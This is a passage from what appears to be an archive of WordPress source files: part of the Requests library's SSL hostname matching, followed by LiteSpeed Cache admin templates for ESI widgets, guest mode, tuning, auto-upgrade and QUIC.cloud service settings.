	 * Match a hostname against a dNSName reference
	 *
	 * @param string|Stringable $host Requested host
	 * @param string|Stringable $reference dNSName to match against
	 * @return boolean Does the domain match?
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When either of the passed arguments is not a string or a stringable object.
	 */
	public static function match_domain($host, $reference) {
		if (InputValidator::is_string_or_stringable($host) === false) {
			throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
		}

		// Check if the reference is blocklisted first
		if (self::verify_reference_name($reference) !== true) {
			return false;
		}

		// Check for a direct match
		if ((string) $host === (string) $reference) {
			return true;
		}

		// Calculate the valid wildcard match if the host is not an IP address
		// Also validates that the host has 3 parts or more, as per Firefox's ruleset,
		// as a wildcard reference is only allowed with 3 parts or more, so the
		// comparison will never match if host doesn't contain 3 parts or more as well.
		if (ip2long($host) === false) {
			$parts    = explode('.', $host);
			$parts[0] = '*';
			$wildcard = implode('.', $parts);
			if ($wildcard === (string) $reference) {
				return true;
			}
		}

		return false;
	}
}
Capability.php000064400000001214151024327070007335 0ustar00<?php
/**
 * Capability interface declaring the known capabilities.
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

/**
 * Capability interface declaring the known capabilities.
 *
 * This is used as the authoritative source for which capabilities can be queried.
 *
 * @package Requests\Utilities
 */
interface Capability {

	/**
	 * Support for SSL.
	 *
	 * @var string
	 */
	const SSL = 'ssl';

	/**
	 * Collection of all capabilities supported in Requests.
	 *
	 * Note: this does not automatically mean that the capability will be supported for your chosen transport!
	 *
	 * @var string[]
	 */
	const ALL = [
		self::SSL,
	];
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/esi_widget_edit.php000064400000005075151031165260020736 0ustar00<?php
/**
 * LiteSpeed Cache Widget Settings
 *
 * Configures ESI settings for widgets in LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$options = ! empty( $instance[ Base::OPTION_NAME ] ) ? $instance[ Base::OPTION_NAME ] : array();

if ( empty( $options ) ) {
	$options = array(
		ESI::WIDGET_O_ESIENABLE => Base::VAL_OFF,
		ESI::WIDGET_O_TTL       => '28800',
	);

	add_filter( 'litespeed_widget_default_options', 'LiteSpeed\ESI::widget_default_options', 10, 2 );

	$options = apply_filters( 'litespeed_widget_default_options', $options, $widget );
}

if ( empty( $options ) ) {
	$esi = Base::VAL_OFF;
	$ttl = '28800';
} else {
	$esi = $options[ ESI::WIDGET_O_ESIENABLE ];
	$ttl = $options[ ESI::WIDGET_O_TTL ];
}

$display = Admin_Display::cls();

?>
<div class="litespeed-widget-setting">

	<h4><?php esc_html_e( 'LiteSpeed Cache', 'litespeed-cache' ); ?>:</h4>

	<b><?php esc_html_e( 'Enable ESI', 'litespeed-cache' ); ?>:</b>
	&nbsp;
	<div class="litespeed-inline">
		<div class="litespeed-switch litespeed-mini">
		<?php
			$esi_option = ESI::WIDGET_O_ESIENABLE;
			$name       = $widget->get_field_name( $esi_option );

			$cache_status_list = array(
				array( Base::VAL_ON, esc_html__( 'Public', 'litespeed-cache' ) ),
				array( Base::VAL_ON2, esc_html__( 'Private', 'litespeed-cache' ) ),
				array( Base::VAL_OFF, esc_html__( 'Disable', 'litespeed-cache' ) ),
			);

			foreach ( $cache_status_list as $v ) {
				list( $value, $label ) = $v;
				$id_attr               = $widget->get_field_id( $esi_option ) . '_' . $value;
				$checked               = $esi === $value ? 'checked' : '';
				?>
				<input type="radio" autocomplete="off" name="<?php echo esc_attr($name); ?>" id="<?php echo esc_attr($id_attr); ?>" value="<?php echo esc_attr( $value ); ?>" <?php echo esc_attr($checked); ?> />
				<label for="<?php echo esc_attr($id_attr); ?>"><?php echo esc_html( $label ); ?></label>
				<?php
			}
		?>
		</div>
	</div>
	<br /><br />

	<b><?php esc_html_e( 'Widget Cache TTL', 'litespeed-cache' ); ?>:</b>
	&nbsp;
	<?php
		$ttl_option = ESI::WIDGET_O_TTL;
		$name       = $widget->get_field_name( $ttl_option );
		?>
		<input type="text" class="regular-text litespeed-reset" name="<?php echo esc_attr($name); ?>" value="<?php echo esc_attr($ttl); ?>" size="7" />
	<?php esc_html_e( 'seconds', 'litespeed-cache' ); ?>

	<p class="install-help">
		<?php esc_html_e( 'Recommended value: 28800 seconds (8 hours).', 'litespeed-cache' ); ?>
		<?php esc_html_e( 'A TTL of 0 indicates do not cache.', 'litespeed-cache' ); ?>
	</p>
</div>

<br />litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/general/settings_tuning.tpl.php000064400000003070151031165260023236 0ustar00<?php
/**
 * LiteSpeed Cache Tuning Settings
 *
 * Manages tuning settings for LiteSpeed Cache, including Guest Mode configurations.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$this->form_action();
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Tuning Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/general/#tuning-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table"><tbody>
	<tr>
		<th>
			<?php $option_id = Base::O_GUEST_UAS; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<div class="litespeed-textarea-recommended">
				<div>
					<?php $this->build_textarea( $option_id, 30 ); ?>
				</div>
				<div>
					<?php $this->recommended( $option_id ); ?>
				</div>
			</div>

			<div class="litespeed-desc">
				<?php esc_html_e( 'Listed User Agents will be considered as Guest Mode visitors.', 'litespeed-cache' ); ?>
				<?php Doc::one_per_line(); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_GUEST_IPS; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<div class="litespeed-textarea-recommended">
				<div>
					<?php $this->build_textarea( $option_id, 50 ); ?>
				</div>
				<div>
					<?php $this->recommended( $option_id ); ?>
				</div>
			</div>

			<div class="litespeed-desc">
				<?php esc_html_e( 'Listed IPs will be considered as Guest Mode visitors.', 'litespeed-cache' ); ?>
				<?php Doc::one_per_line(); ?>
			</div>
		</td>
	</tr>
</tbody></table>

<?php $this->form_end(); ?>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/general/entry.tpl.php000064400000002475151031165260021163 0ustar00<?php
/**
 * LiteSpeed Cache General Settings
 *
 * Manages general settings interface for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$menu_list = array(
    'online'          => esc_html__( 'Online Services', 'litespeed-cache' ),
    'settings'        => esc_html__( 'General Settings', 'litespeed-cache' ),
    'settings_tuning' => esc_html__( 'Tuning', 'litespeed-cache' ),
);

if ( is_network_admin() ) {
    $menu_list = array(
        'network_settings' => esc_html__( 'General Settings', 'litespeed-cache' ),
    );
}

?>

<div class="wrap">
    <h1 class="litespeed-h1">
        <?php esc_html_e( 'LiteSpeed Cache General Settings', 'litespeed-cache' ); ?>
    </h1>
    <span class="litespeed-desc">
        v<?php echo esc_html( Core::VER ); ?>
    </span>
    <hr class="wp-header-end">
</div>

<div class="litespeed-wrap">
    <h2 class="litespeed-header nav-tab-wrapper">
        <?php GUI::display_tab_list( $menu_list ); ?>
    </h2>

    <div class="litespeed-body">
        <?php
        foreach ( $menu_list as $menu_key => $val ) {
            echo '<div data-litespeed-layout="' . esc_attr( $menu_key ) . '">';
            require LSCWP_DIR . 'tpl/general/' . $menu_key . '.tpl.php';
            echo '</div>';
        }
        ?>
    </div>

</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/general/settings_inc.auto_upgrade.tpl.php000064400000001213151031165260025156 0ustar00<?php
/**
 * LiteSpeed Cache Auto Upgrade Setting
 *
 * Manages the auto-upgrade setting for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

	<!-- build_setting_auto_upgrade -->
	<tr>
		<th>
			<?php $option_id = Base::O_AUTO_UPGRADE; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_switch( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.', 'litespeed-cache' ); ?>
			</div>
		</td>
	</tr>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/general/settings.tpl.php000064400000013740151031165260021657 0ustar00<?php
/**
 * LiteSpeed Cache General Settings
 *
 * Manages general settings for LiteSpeed Cache, including Guest Mode optimization, server IP, and news settings.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$cloud_instance = Cloud::cls();
$cloud_summary  = Cloud::get_summary();

$ajax_url_get_ip = function_exists('get_rest_url') ? get_rest_url(null, 'litespeed/v1/tool/check_ip') : '/';

$this->form_action();
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'General Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/general/' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<?php if ( ! $this->_is_multisite ) : ?>
			<?php require LSCWP_DIR . 'tpl/general/settings_inc.auto_upgrade.tpl.php'; ?>
		<?php endif; ?>

		<?php if ( ! $this->_is_multisite ) : ?>
			<?php require LSCWP_DIR . 'tpl/general/settings_inc.guest.tpl.php'; ?>
		<?php endif; ?>

		<tr>
			<th>
				<?php $option_id = Base::O_GUEST_OPTM; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<span class="litespeed-danger litespeed-text-bold">
						🚨
						<?php esc_html_e( 'This option enables maximum optimization for Guest Mode visitors.', 'litespeed-cache' ); ?>
						<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/general/#guest-optimization', esc_html__( 'Please read all warnings before enabling this option.', 'litespeed-cache' ), false, 'litespeed-danger' ); ?>
					</span>

					<?php
					$type_list = array();
					if ( $this->conf( Base::O_GUEST ) && ! $this->conf( Base::O_OPTM_UCSS ) ) {
						$type_list[] = 'UCSS';
					}
					if ( $this->conf( Base::O_GUEST ) && ! $this->conf( Base::O_OPTM_CSS_ASYNC ) ) {
						$type_list[] = 'CCSS';
					}
					if ( ! empty( $type_list ) ) {
						$the_type = implode( '/', $type_list );
						echo '<br />';
						echo '<font class="litespeed-info">';
						echo '⚠️ ' . sprintf( esc_html__( 'Your %1$s quota on %2$s will still be in use.', 'litespeed-cache' ), esc_html( $the_type ), 'QUIC.cloud' );
						echo '</font>';
					}
					?>

					<?php if ( ! $this->conf( Base::O_GUEST ) ) : ?>
						<br />
						<font class="litespeed-warning litespeed-left10">
							⚠️ <?php esc_html_e( 'Notice', 'litespeed-cache' ); ?>: <?php printf( esc_html__( '%s must be turned ON for this setting to work.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_GUEST ) ) . '</code>' ); ?>
						</font>
					<?php endif; ?>

					<?php if ( ! $this->conf( Base::O_CACHE_MOBILE ) ) : ?>
						<br />
						<font class="litespeed-primary litespeed-left10">
							⚠️ <?php esc_html_e( 'Notice', 'litespeed-cache' ); ?>: <?php printf( esc_html__( 'You need to turn %s on to get maximum result.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_CACHE_MOBILE ) ) . '</code>' ); ?>
						</font>
					<?php endif; ?>

					<?php if ( ! $this->conf( Base::O_IMG_OPTM_WEBP ) ) : ?>
						<br />
						<font class="litespeed-primary litespeed-left10">
							⚠️ <?php esc_html_e( 'Notice', 'litespeed-cache' ); ?>: <?php printf( esc_html__( 'You need to turn %s on and finish all WebP generation to get maximum result.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_IMG_OPTM_WEBP ) ) . '</code>' ); ?>
						</font>
					<?php endif; ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_SERVER_IP; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( "Enter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.", 'litespeed-cache' ); ?>
					<br /><?php esc_html_e( 'Your server IP', 'litespeed-cache' ); ?>: <code id='litespeed_server_ip'>-</code> <a href="javascript:;" class="button button-link" id="litespeed_get_ip"><?php esc_html_e( 'Check my public IP from', 'litespeed-cache' ); ?> CyberPanel.sh</a>
					⚠️ <?php esc_html_e( 'Notice', 'litespeed-cache' ); ?>: <?php esc_html_e( 'the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server.', 'litespeed-cache' ); ?>
					<br /><?php esc_html_e( 'Please make sure this IP is the correct one for visiting your site.', 'litespeed-cache' ); ?>

					<?php $this->_validate_ip( $option_id ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_NEWS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

	</tbody>
</table>

<?php $this->form_end(); ?>

<script>
(function ($) {
	jQuery(document).ready(function () {
		/**
		 * Get server IP
		 * @since  3.0
		 */
		$('#litespeed_get_ip').on('click', function (e) {
			console.log('[litespeed] get server IP');
			$.ajax({
				url: '<?php echo $ajax_url_get_ip; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>',
				dataType: 'json',
				beforeSend: function (xhr) {
					xhr.setRequestHeader('X-WP-Nonce', '<?php echo esc_js(wp_create_nonce('wp_rest')); ?>');
					$('#litespeed_server_ip').html('Detecting...');
				},
				success: function (data) {
					$('#litespeed_server_ip').html('Done');
					console.log('[litespeed] get server IP response: ' + data);
					$('#litespeed_server_ip').html(data);
				},
				error: function (xhr, error) {
					console.log('[litespeed] get server IP error', error);
					$('#litespeed_server_ip').html('Failed to detect IP');
				},
				complete: function (xhr, status) {
					console.log('[litespeed] AJAX complete', status, xhr);
				},
			});
		});
	});
})(jQuery);
</script>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/general/network_settings.tpl.php000064400000002273151031165260023427 0ustar00<?php
/**
 * LiteSpeed Cache Network General Settings
 *
 * Manages network-wide general settings for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$this->form_action();
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'General Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/general/' ); ?>
</h3>

<?php
$this->form_action( Router::ACTION_SAVE_SETTINGS_NETWORK );
?>

<table class="wp-list-table striped litespeed-table"><tbody>
	<?php require LSCWP_DIR . 'tpl/general/settings_inc.auto_upgrade.tpl.php'; ?>

	<tr>
		<th><?php esc_html_e( 'Use Primary Site Configuration', 'litespeed-cache' ); ?></th>
		<td>
			<?php $this->build_switch( Base::NETWORK_O_USE_PRIMARY ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( "Check this option to use the primary site's configuration for all subsites.", 'litespeed-cache' ); ?>
				<?php esc_html_e( 'This will disable the settings page on all subsites.', 'litespeed-cache' ); ?>
			</div>
		</td>
	</tr>

	<?php require LSCWP_DIR . 'tpl/general/settings_inc.guest.tpl.php'; ?>

</tbody></table>

<?php
$this->form_end();
?>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/general/settings_inc.guest.tpl.php000064400000004164151031165260023636 0ustar00<?php
/**
 * LiteSpeed Cache Guest Mode Setting
 *
 * Manages the Guest Mode setting for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$guest_update_url = wp_parse_url( LSWCP_PLUGIN_URL . GUI::PHP_GUEST, PHP_URL_PATH );

?>
	<tr>
		<th>
			<?php $option_id = Base::O_GUEST; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_switch( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( "Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX.", 'litespeed-cache' ); ?>
				<?php esc_html_e( 'This option can help to correct the cache vary for certain advanced mobile or tablet visitors.', 'litespeed-cache' ); ?>
				<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/general/#guest-mode' ); ?>
				<br /><?php Doc::notice_htaccess(); ?>
				<br /><?php Doc::crawler_affected(); ?>
			</div>
			<?php if ( $this->conf( $option_id ) ) : ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Guest Mode testing result', 'litespeed-cache' ); ?>:
					<font id='litespeed_gm_status'><?php esc_html_e( 'Testing', 'litespeed-cache' ); ?>...</font>
				</div>
				<script>
					(function ($) {
						jQuery(document).ready(function () {
							$.post( '<?php echo $guest_update_url; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>', function(data){
								if ( data === '[]' || data === '{"reload":"yes"}' ) {
									$('#litespeed_gm_status').html('<font class="litespeed-success"><?php esc_html_e( 'Guest Mode passed testing.', 'litespeed-cache' ); ?></font>');
								}
								else {
									$('#litespeed_gm_status').html('<font class="litespeed-danger"><?php esc_html_e( 'Guest Mode failed to test.', 'litespeed-cache' ); ?></font>');
								}
							}).fail( function(){
								$('#litespeed_gm_status').html('<font class="litespeed-danger"><?php esc_html_e( 'Guest Mode failed to test.', 'litespeed-cache' ); ?></font>');
							});
						});
					})(jQuery);
				</script>
			<?php endif; ?>
		</td>
	</tr>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/general/online.tpl.php000064400000030136151031165260021301 0ustar00<?php
/**
 * LiteSpeed Cache QUIC.cloud Online Services
 *
 * Manages QUIC.cloud online services integration for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$cloud_summary = Cloud::get_summary();

$cloud_instance = Cloud::cls();
$cloud_instance->finish_qc_activation( 'online' );
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'QUIC.cloud Online Services', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://www.quic.cloud/quic-cloud-services-and-features/' ); ?>
</h3>

<div class="litespeed-desc"><?php esc_html_e( 'QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud.', 'litespeed-cache' ); ?></div>

<?php if ( $cloud_instance->activated() ) : ?>
	<div class="litespeed-callout notice notice-success inline">
		<h4><?php esc_html_e( 'Current Cloud Nodes in Service', 'litespeed-cache' ); ?>
			<a class="litespeed-right litespeed-redetect" href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_CLEAR_CLOUD, false, null, array( 'ref' => 'online' ) ) ); ?>" data-balloon-pos="up" data-balloon-break aria-label='<?php esc_html_e( 'Click to clear all nodes for further redetection.', 'litespeed-cache' ); ?>' data-litespeed-cfm="<?php esc_html_e( 'Are you sure you want to clear all cloud nodes?', 'litespeed-cache' ); ?>"><i class='litespeed-quic-icon'></i> <?php esc_html_e( 'Redetect', 'litespeed-cache' ); ?></a>
		</h4>
		<p>
			<?php
			$has_service = false;
			foreach ( Cloud::$services as $svc ) {
				if ( isset( $cloud_summary[ 'server.' . $svc ] ) ) {
					$has_service = true;
					printf(
						'<p><strong>%1$s</strong> <code>%2$s</code> <strong>%3$s</strong> <code>%4$s</code> <strong>%5$s</strong> <code>%6$s</code></p>',
						esc_html__( 'Service:', 'litespeed-cache' ),
						esc_html( $svc ),
						esc_html__( 'Node:', 'litespeed-cache' ),
						esc_html( $cloud_summary[ 'server.' . $svc ] ),
						esc_html__( 'Connected Date:', 'litespeed-cache' ),
						esc_html( Utility::readable_time( $cloud_summary[ 'server_date.' . $svc ] ) )
					);
				}
			}
			if ( ! $has_service ) {
				esc_html_e( 'No cloud services currently in use', 'litespeed-cache' );
			}
			?>
		</p>
	</div>
<?php endif; ?>

<?php if ( ! $cloud_instance->activated() ) : ?>
	<h4 class="litespeed-text-md litespeed-top30"><span class="dashicons dashicons-no-alt litespeed-danger"></span> <?php esc_html_e( 'QUIC.cloud Integration Disabled', 'litespeed-cache' ); ?></h4>
	<p><?php esc_html_e( 'Speed up your WordPress site even further with QUIC.cloud Online Services and CDN.', 'litespeed-cache' ); ?></p>
	<div class="litespeed-desc"><?php esc_html_e( 'Free monthly quota available.', 'litespeed-cache' ); ?></div>
	<p><a class="button button-primary" href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_ACTIVATE, false, null, array( 'ref' => 'online' ) ) ); ?>">
			<span class="dashicons dashicons-yes"></span>
			<?php esc_html_e( 'Enable QUIC.cloud services', 'litespeed-cache' ); ?>
		</a></p>

	<div>
		<h3 class="litespeed-title-section"><?php esc_html_e( 'Online Services', 'litespeed-cache' ); ?></h3>
		<p><?php esc_html_e( "QUIC.cloud's Online Services improve your site in the following ways:", 'litespeed-cache' ); ?></p>
		<ul>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php echo wp_kses_post( __( '<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster.', 'litespeed-cache' ) ); ?></li>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php echo wp_kses_post( __( '<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading.', 'litespeed-cache' ) ); ?></li>
		</ul>

		<h4 class="litespeed-text-md litespeed-margin-bottom-remove"><?php esc_html_e( 'Image Optimization', 'litespeed-cache' ); ?></h4>
		<p><?php esc_html_e( "QUIC.cloud's Image Optimization service does the following:", 'litespeed-cache' ); ?></p>
		<ul>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php esc_html_e( "Processes your uploaded PNG and JPG images to produce smaller versions that don't sacrifice quality.", 'litespeed-cache' ); ?></li>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php esc_html_e( 'Optionally creates next-generation WebP or AVIF image files.', 'litespeed-cache' ); ?></li>
		</ul>
		<p><?php esc_html_e( 'Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee.', 'litespeed-cache' ); ?> <a href="https://www.quic.cloud/quic-cloud-services-and-features/image-optimization-service/" target="_blank"><?php esc_html_e( 'Learn More', 'litespeed-cache' ); ?></a></p>

		<h4 class="litespeed-text-md litespeed-margin-bottom-remove"><?php esc_html_e( 'Page Optimization', 'litespeed-cache' ); ?></h4>
		<p><?php esc_html_e( "QUIC.cloud's Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores.", 'litespeed-cache' ); ?></p>
		<ul>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php echo wp_kses_post( __( '<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling.', 'litespeed-cache' ) ); ?></li>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php echo wp_kses_post( __( '<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall.', 'litespeed-cache' ) ); ?></li>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php echo wp_kses_post( __( '<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads.', 'litespeed-cache' ) ); ?></li>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php echo wp_kses_post( __( '<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold.', 'litespeed-cache' ) ); ?></li>
		</ul>

		<div>
			<a href="https://www.quic.cloud/quic-cloud-services-and-features/page-optimization/"><?php esc_html_e( 'Learn More', 'litespeed-cache' ); ?></a>
		</div>
	</div>

	<div>
		<h3 class="litespeed-title-section"><?php esc_html_e( 'Content Delivery Network', 'litespeed-cache' ); ?></h3>

		<h4 class="litespeed-text-md litespeed-margin-bottom-remove"><?php esc_html_e( 'QUIC.cloud CDN:', 'litespeed-cache' ); ?></h4>
		<ul>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php echo wp_kses_post( __( 'Caches your entire site, including dynamic content and <strong>ESI blocks</strong>.', 'litespeed-cache' ) ); ?></li>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php echo wp_kses_post( __( 'Delivers global coverage with a growing <strong>network of 80+ PoPs</strong>.', 'litespeed-cache' ) ); ?></li>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php echo wp_kses_post( __( 'Provides <strong>security at the CDN level</strong>, protecting your server from attack.', 'litespeed-cache' ) ); ?></li>
			<li><span class="dashicons dashicons-saved litespeed-primary"></span> <?php echo wp_kses_post( __( 'Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding.', 'litespeed-cache' ) ); ?></li>
		</ul>

		<div>
			<a href="https://www.quic.cloud/quic-cloud-services-and-features/quic-cloud-cdn-service/"><?php esc_html_e( 'Learn More', 'litespeed-cache' ); ?></a>
		</div>

		<hr class="litespeed-hr-with-space">

		<p class="litespeed-desc"><?php esc_html_e( 'In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it.', 'litespeed-cache' ); ?> <a href="https://docs.quic.cloud/billing/services/" target="_blank"><?php esc_html_e( 'Learn More', 'litespeed-cache' ); ?></a></p>

		<div class="litespeed-flex litespeed-flex-align-center">
			<a class="button button-secondary litespeed-right20" href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_ACTIVATE, false, null, array( 'ref' => 'online' ) ) ); ?>">
				<span class="dashicons dashicons-yes"></span>
				<?php esc_html_e( 'Enable QUIC.cloud services', 'litespeed-cache' ); ?>
			</a>
		</div>
	</div>

<?php elseif ( ! empty( $cloud_summary['qc_activated'] ) && ( 'linked' === $cloud_summary['qc_activated'] || 'cdn' === $cloud_summary['qc_activated'] ) ) : ?>
	<h4 class="litespeed-text-md litespeed-top30"><span class="dashicons dashicons-saved litespeed-success"></span> <?php esc_html_e( 'QUIC.cloud Integration Enabled', 'litespeed-cache' ); ?></h4>
	<p><?php esc_html_e( 'Your site is connected and ready to use QUIC.cloud Online Services.', 'litespeed-cache' ); ?>
		<?php if ( empty( $cloud_summary['partner'] ) ) : ?>
			<a href="<?php echo esc_url( $cloud_instance->qc_link() ); ?>" class="litespeed-link-with-icon" target="_blank"><?php esc_html_e( 'Go to QUIC.cloud dashboard', 'litespeed-cache' ); ?> <span class="dashicons dashicons-external"></span></a>
		<?php endif; ?>
	</p>

	<ul>
		<li><span class="dashicons dashicons-yes litespeed-success"></span> <?php esc_html_e( 'Page Optimization', 'litespeed-cache' ); ?></li>
		<li><span class="dashicons dashicons-yes litespeed-success"></span> <?php esc_html_e( 'Image Optimization', 'litespeed-cache' ); ?></li>
		<?php if ( 'cdn' === $cloud_summary['qc_activated'] ) : ?>
			<li><span class="dashicons dashicons-yes litespeed-success"></span> <?php esc_html_e( 'CDN - Enabled', 'litespeed-cache' ); ?></li>
		<?php else : ?>
			<li><span class="dashicons dashicons-no-alt litespeed-default"></span> <span class="litespeed-default"><?php esc_html_e( 'CDN - Disabled', 'litespeed-cache' ); ?></span></li>
		<?php endif; ?>
	</ul>

<?php else : ?>
	<h4 class="litespeed-text-md litespeed-top30"><span class="dashicons dashicons-saved litespeed-success"></span> <?php esc_html_e( 'QUIC.cloud Integration Enabled with limitations', 'litespeed-cache' ); ?></h4>
	<p><?php echo wp_kses_post( __( 'Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features.', 'litespeed-cache' ) ); ?></p>
	<div class="litespeed-desc"><?php esc_html_e( 'Free monthly quota available.', 'litespeed-cache' ); ?></div>

	<ul>
		<li><span class="dashicons dashicons-yes litespeed-success"></span> <?php esc_html_e( 'Page Optimization', 'litespeed-cache' ); ?></li>
		<li><span class="dashicons dashicons-yes litespeed-success"></span> <?php esc_html_e( 'Image Optimization', 'litespeed-cache' ); ?></li>
		<li><span class="dashicons dashicons-no-alt litespeed-danger"></span> <?php esc_html_e( 'CDN - not available for anonymous users', 'litespeed-cache' ); ?></li>
	</ul>

	<p><a class="button button-primary" href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_ACTIVATE, false, null, array( 'ref' => 'online' ) ) ); ?>"><span class="dashicons dashicons-yes"></span><?php esc_html_e( 'Link to QUIC.cloud', 'litespeed-cache' ); ?></a></p>
<?php endif; ?>

<?php if ( $cloud_instance->activated() ) : ?>
	<div class="litespeed-empty-space-medium"></div>
	<div class="litespeed-column-with-boxes-footer">
		<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_RESET, false, null, array( 'ref' => 'online' ) ) ); ?>" class="litespeed-link-with-icon litespeed-danger" data-litespeed-cfm="<?php esc_html_e( 'Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard.', 'litespeed-cache' ); ?>"><span class="dashicons dashicons-dismiss"></span><?php esc_html_e( 'Disconnect from QUIC.cloud', 'litespeed-cache' ); ?></a>
		<div class="litespeed-desc litespeed-margin-bottom-remove"><?php esc_html_e( 'Remove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first.', 'litespeed-cache' ); ?></div>
	</div>
